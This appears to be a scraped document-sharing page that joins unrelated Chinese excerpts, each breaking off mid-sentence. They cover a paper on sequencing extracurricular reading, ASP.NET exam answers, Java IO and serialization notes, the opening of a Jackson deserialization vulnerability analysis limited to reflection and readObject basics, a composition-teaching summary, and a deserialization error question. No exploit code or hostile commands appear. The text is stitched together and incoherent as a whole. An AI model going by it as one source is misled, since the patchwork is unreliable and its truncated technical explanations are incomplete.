课外阅读序列化研究操作策略 长沙市大同二小陈风华 主题:阐述课外阅读指导在内容的序列化安排和指导的序列化上的特色。 表述的观点:小学语文课外阅读序列化实践与研究讲究的是一种循序渐进性,注重的是科学有效地安排课外阅读内容的序列化,真实便捷地确定课外阅读活动指导的序列化。 正文 课外阅读作为语文课堂教学的延伸和补充,是语文教学的有机组成部分。课外阅读不但有利于学生开阔视野、增长知识,还有利于学生提高认识、陶冶情操。前苏联教育家苏霍姆林斯基也曾说过:“让学生变聪明的方法,不是补课,不是增加作业量,而是阅读,阅读,再阅读。”为此我们课题组思考通过激发学生兴趣,引导学生循序渐进地多读、多积累、多写,来提高学生的课外阅读能力;通过“以读促写”的方式,提高学生语文综合素养。 我们课题中的“课外阅读”是指以语文教材为中心,向周边辐射,进行的读书活动,使课内阅读成为课外阅读的凭借和依托,课外阅读成为课内阅读的扩展和补充,并起到“以读促写”的作用。课题中的“序列化”是指针对阅读内容、阅读活动指导、课外阅读评价的规律性科学安排,讲究的是一种循序渐进性。按年龄段,按内容、形式科学地解决“读什么”和“怎样读”的问题。从时间上而言,可以是课间、午间、休息日的阅读。从方式上而言,可以是看书读报,也可以是上网浏览。从内容上而言,不仅限于语文材料,而是以语文教材为媒介引导学生进行的同类横向和纵向的阅读。从操作指导上而言,分年级、分层次因材施教地指导学生阅读适合自己的有益的、健康的书籍。下面就我们的研究实践,具体谈谈我们在课外阅读内容的序列化安排和指导的序列化操作上的一些策略。 一、落实科学有效的课外阅读内容的序列化: 别林斯基说过:“阅读一本不适合自己的书,比不读还坏。”从小学生的课外阅读情况看,随机性较强,随意地见什么读什么,这于孩子的发展是不科学的。书海茫茫,读书要有目的地选择。绝对不是什么书都是“开卷有益”。由于学生

aspnet部分考试题目

1.简述https://www.360docs.net/doc/929599597.html,两种读取数据库的方式。 答:第一种是利用Connetction、Command和DataReader 对象,这种方式只能读取数据库,不能修改记录。如果只是想查询记录的话,这种方式的效率更高些。 第二种是利用Connection、Command、DataAdaPter 和Dataset 对象,这种方式更灵活,可以对数据库进行各种操作。 2、简述你对https://www.360docs.net/doc/929599597.html,的事件驱动机制的理解。 https://www.360docs.net/doc/929599597.html, 使用一个事件驱动编程模型。该模型定义了一个事件序列,这些事件在页面的生命周期中被依次引发,顺序为Init Load控件事件Unload对每个引发的事件,你可能需要完成一些任务。可以在称为事件处理过程中编写代码。例如,可以在Web 页面的Init 或Load事件中编写页面初始化代码。PageInit 是页面的Init 事件的事件处理器,而page_Load 是页面的Load 事件的事件处理器。3、什么是代码分离形式? 答:代码分离(Code Behind)形式是https://www.360docs.net/doc/929599597.html, 为了提高代码阅读性采用的新技术,使https://www.360docs.net/doc/929599597.html, 页面源程序代码更清晰和便于阅读。他的实质是将页面显示视图(页面内容)的HTML标记和控制页面交互过程的程序代码分离。这样可以分别设计、分别调试和分别保存,其两者之间的关联是通过编译器指令Page实现的。 4、简述Page.IsPostBack的用途 在page_Load的过程中,你可以读取或者重置页面的属性和控件的属性,根据IsPostBack 属性判定页面是否为第一次被请求,执行数据

绑定等等。IsPostBack属性为false 表明页面是被第一次显示,为true 表明页面被请求后返回(PostBack)的结果值。 5、验证控件有哪几种?简述它们各自的功能。RequiredFieldValidator 验证用户是否已输入数据CompareValidator 将用户输入的数据与另一个数据进行比较CustomValidator 自定义的验证方式 RangeValidator 验证用户输入的数据是否在指定范围内RegularExpressionValidator 以特定规则验证用户输入的数据ValidationSummary显示未通过验证的控件的信息 6.简述Session对象的作用。 Session 对象用于存储关于某个用户会话(session)的信息,或者修改相关的设置。存储在session 对象中的变量掌握着单一用户的信息,同时这些信息对于页面中的所有页面都是可用的。 7. 简述Response对象的作用。 用于将数据从服务器发送回浏览器,另外,还可以用来在页面中输入数据,跳转或者传递页面中的参数。 9.简述调用Web Service设计https://www.360docs.net/doc/929599597.html,应用程序的基本步骤? (1)添加Web service服务 (2)在类中定义Web service引进服务对象 (3)通过对象调用相应方法。 10为什么要对Application 对象进行锁定?何时进行锁

IO操作

IO操作: ·掌握文件类的使用(File) ·掌握IO中流的基本使用(字符流、字节流、内存流、打印流) ·掌握System类对IO的支持 ·对象序列化的问题 IO操作可以分为三大类: ·文件操作类 ·字节操作类 ·字符操作类 一、文件类的使用 File类:是IO中唯一代表磁盘本身的类,File类中定义了一些与平台无关性的操作文件的方法,比如删除和创建文件,删除和创建文件夹,判断文件是会否存在等等这些方法。 构造方法:public File(String pathname)通过制定的路径去实例化一个File对象 常用的方法: ·public boolean createNewFile() throws IOException:创建文件 ·public boolean delete():删除文件 ·public boolean exists():判断文件是否存在 ·public boolean isDirectory():判断此文件路径是否是文件夹 ·public String[] list():取得当前文件夹中所有的文件和文件夹 ·public boolean mkdir():创建一个文件夹

范例2:现在已经知道可以找到我们指定的文件路径了,能不能取出E盘中所有的文件呢?如果取出的是文件夹,则再从文件夹中查找。 二、流的基本使用:(通过File来讲解) ·字节流和字符流(重点) 在整个IO包中,流的操作分为种: ·字节流 ·字节输出流(OutputStream) ·字节输入流(InputStream) ·字符流 ·字符输出流(Writer) ·字符输入流(Reader) IO基本操作步骤:在IO的操作中,完成流的操作必须要按照以下的步骤完成:·使用File找到一个文件 ·使用字节流或者字符流的子类为OutputStream、InputStream、Writer、Reader 类实例化。 ·进行流的读写操作 ·关闭流

Java序列化的机制和原理

Java序列化的机制和原理 有关Java对象的序列化和反序列化也算是Java基础的一部分,下面对Java序列化的机制和原理进行一些介绍。 Java序列化算法透析 Serialization(序列化)是一种将对象以一连串的字节描述的过程;反序列化deserialization 是一种将这些字节重建成一个对象的过程。Java序列化API提供一种处理对象序列化的标准机制。在这里你能学到如何序列化一个对象,什么时候需要序列化以及Java序列化的算法,我们用一个实例来示范序列化以后的字节是如何描述一个对象的信息的。 序列化的必要性 Java中,一切都是对象,在分布式环境中经常需要将Object从这一端网络或设备传递到另一端。这就需要有一种可以在两端传输数据的协议。Java序列化机制就是为了解决这个问题而产生。 如何序列化一个对象 一个对象能够序列化的前提是实现Serializable接口,Serializable接口没有方法,更像是个标记。有了这个标记的Class就能被序列化机制处理。 1.import java.io.Serializable; 2. 3.class TestSerial implements Serializable { 4. 5.public byte version = 100; 6. 7.public byte count = 0; 8. 9.} 然后我们写个程序将对象序列化并输出。ObjectOutputStream能把Object输出成Byte 流。我们将Byte流暂时存储到temp.out文件里。 1.public static void main(String args[]) throws IOException { 2. 3. FileOutputStream fos = new FileOutputStream("temp.out "); 4. 5. ObjectOutputStream oos = new ObjectOutputStream(fos); 6. 7. TestSerial ts = new TestSerial();

Java-Jackson反序列化漏洞及挖洞思路

源码分析Jackson反序列化漏洞 前言: 本次分析从Java序列化和反序列化源码开始分析,进一步分析Jackson源码,找出造成漏洞的原因,最后以Jackson2.9.2版本,JDK1.80_171,resin4.0.52,CVE-2020-10673为例复现漏洞。 一.JA V A反序列化原理 1.1 Class对象 每一个类都有一个Class对象,Class对象包含每一个类的运行时信息,每一个类都有一个Class对象,每编译一个类就产生一个Class对象,Class类没有公共的构造方法,Class对象是在类加载的时候由JVM以及通过调用类加载器中的DefineClass()方法自动构造的,因此不能显式地声明一个Class对象。在类加载阶段,类加载器首先检查这个类的Class对象是否已经被加载。如果尚未加载,默认的类加载器就会根据类的全限定名查找.class文件。一旦某个类的Class对象被载入内存,我们就可以它来创建这个类的所有对象以及获得这个类的运行时信息。 获得Class对象的方法: 1).Class.forName(“类的全名”);//com.xx.xx.xx 2).实例对象.getClass() 3).类名.class 1.2反射 JA V A反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意一个方法和属性;这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

实现Java反射机制的类都位于https://www.360docs.net/doc/929599597.html,ng.reflect包中: 1).Class类:代表一个类 2).Field类:代表类的成员变量(类的属性) 3).Method类:代表类的方法 4).Constructor类:代表类的构造方法 5).Array类:提供了动态创建数组,以及访问数组的元素的静态方法 简单反射调用代码 Class clz=this.getClass(); Object obj= clz.getMethod("方法名",Class对象序列).invoke(this,Object参数序列); 1.3 反序列化 Java 序列化是指把Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的writeObject() 方法可以实现序列化。 Java 反序列化是指把字节序列恢复为Java 对象的过程,ObjectInputStream 类的readObject() 方法用于反序列化。 RMI:是Java 的一组拥护开发分布式应用程序的API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输100% 基于反序列化,Java RMI 的默认端口是1099 端口。 JMX:JMX 是一套标准的代理和服务,用户可以在任何Java 应用程序中使用这些代理和服务实现管理,中间件软件WebLogic 的管理页面就是基于JMX 开发的,而JBoss 则整个系统都基于JMX 构架。 只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。 readObject()主要做的事情,其实就是读取正常应该被序列化的字段信息后,

初中作文训练序列化研究

《初中作文训练序列研究》课题总结 (2012.9-2013.7) 朱市二中语文课题组本学年我有幸参加了市教研室组织的《初中作文训练序列化研究》的课题研究活动,研究初中阶段三类文题写作指导的操作程序与细则,学习最前沿的先进写作理念,并把它运用与我执教的七年级。现对自己的课题研究活动进行阶段总结。 一研究的现状及意义 透视初中生的作文现状,主要有以下问题:①写作兴趣不浓,纯属应付;②题材平淡失真,不善于调动生活经验;③表达能力差,语言大多苍白贫乏;④审题立意能力不强,思维的全面性、深刻性欠佳。虽然许多语文教学者和专家进行了诸多尝试,总结了一些方法和经验,但初中作文教学的科学性、系统性﹑可操作性仍有待加强。应从初中学生的实际情况出发结合作文规律,优化写作教学,对初中学生进行循序渐进的分步训练。 二.教学实践。 七学生作文训练的文体主要是记叙文,而一篇文章是由字、词、句、段构造起来的。为此,我做了如下工作: (一)平时注重积累,积极开展各项活动。 在阅读教学中,往往会遇到生字词,我便要求学生掌握字音、字形,重要字词要求学生能正确造句,并力求生动。为求实效,每学期举行一次语文基本功竞赛。而那些妙句、佳段,则要求学生赏析并背一背。赏析时指导学生从关键字词、修辞手法、写作方法等处入手来体会其妙处。“知其所以然”才能在自己的写作中有所运用。每学期开展一到两次朗诵比赛。字、词、句就是砖瓦,没有这些砖瓦又何以成大厦,何以写出佳作来呢? 其次,注意加强学生的课外阅读,开阔他们的视野,为写作积累素材。 课外阅读的材料来自报刊、杂志、网络等,有时由教师推荐,复印成文,发给学生阅读。有时侯由学生自我推荐。阅读时,要求学生养成不动笔墨不读书的习惯,对于文中的精彩句段要求他们做好摘抄工作。阅读后,互相交流心得体会,以加深认识,指导自己的写作,有时让学生写读后感。 再次,进行听说训练,提高口头表达能力,促进学生思维的发展,以说促读,以说促写。训练的主要途径是课前三分钟演讲,演讲初期的内容由学生自定,但教师规定演讲必须有一个明确的中心,语句通顺、连贯。后期,演讲话题由教师规定,要求适当提高。为提高学生兴趣,演讲后,让学生进行评价,评出名次。 (二).加大片断训练力度 所谓作文片断,指用一段一节的小篇幅,表现生活中的一个断面,说明事物的一个方面,谈论对某事某现象的一点看法,做这种片断的写作练习,就叫作文片断训练。其训练类型共有三种:描叙性训练、说明性训练、评议性训练。七年级着重于描写性训练,其方法如下: 1、仿写 教师在授课时,可抓住课文中某个细节或片段,结合作文要求加以分析,布置为作文。但不是照抄照搬,要同中求异。例学习朱自清的《春》中的几个画面,先让学生说一说这些段落好在哪里,为什么写的这么好。再安排学生学着这些写法写一写,春、夏、秋、冬四季中任选一季节,描绘某一季节的某一景物。 2、生发 就是根据课文情节,合理想象,生发开去,加上或延伸课文中的情节,再造细节。它比

【IT专家】反序列化无效的类

本文由我司收集整编,推荐下载,如有疑问,请与我司联系 反序列化无效的类 反序列化无效的类- 从文件工作反序列化但不是blob?[英]class invalid for deserialization - Deserializes from file working but not blob? The problem lies when trying to deserialize an instance of the class itemSet returned in a resultSet after querying my database. The blobfile seems to be fine itself and the data can be saved to a file then correctly read using a filereader (see below) as such I’m inclined to believe the issue lies somewhere in my implementation? The program runs on tomcat using the netbeans 8.01 ide. ?问题在于在查询数据库后尝试反序列化在resultSet中返回的类itemSet的实例。blobfile本身似乎很好,数据可以保存到文件然后使用文件读取器正确读取(见下文),因为我倾向于认为问题出在我的实现中的某个地方?该程序使用netbeans 8.01 ide在tomcat上运行。 My project git link: https://github/feltax/gw2apiMark2 ?我的项目git链接:https://github/feltax/gw2apiMark2 ?My project is using a modified wrapper for a few classes: https://github/feltax/gw2apiModified ?我的项目使用一个修改过的包装器来完成几个 类:https://github/feltax/gw2apiModified The exact error: ?确切的错误: type Exception report message me.nithanim.gw2api.v2.api.items.ItemInfo; class invalid for deserializationdescription The server encountered an internal error that prevented it from fulfilling this request.exception java.io.InvalidClassException: me.nithanim.gw2api.v2.api.items.ItemInfo; class invalid for deserialization java.io.ObjectStreamClass$ExceptionInfo.newInvalidClassException(ObjectStreamClass.j ava:150)java.io.ObjectStreamClass.checkDeserialize(ObjectStreamClass.java:790)java.io.

相关文档
最新文档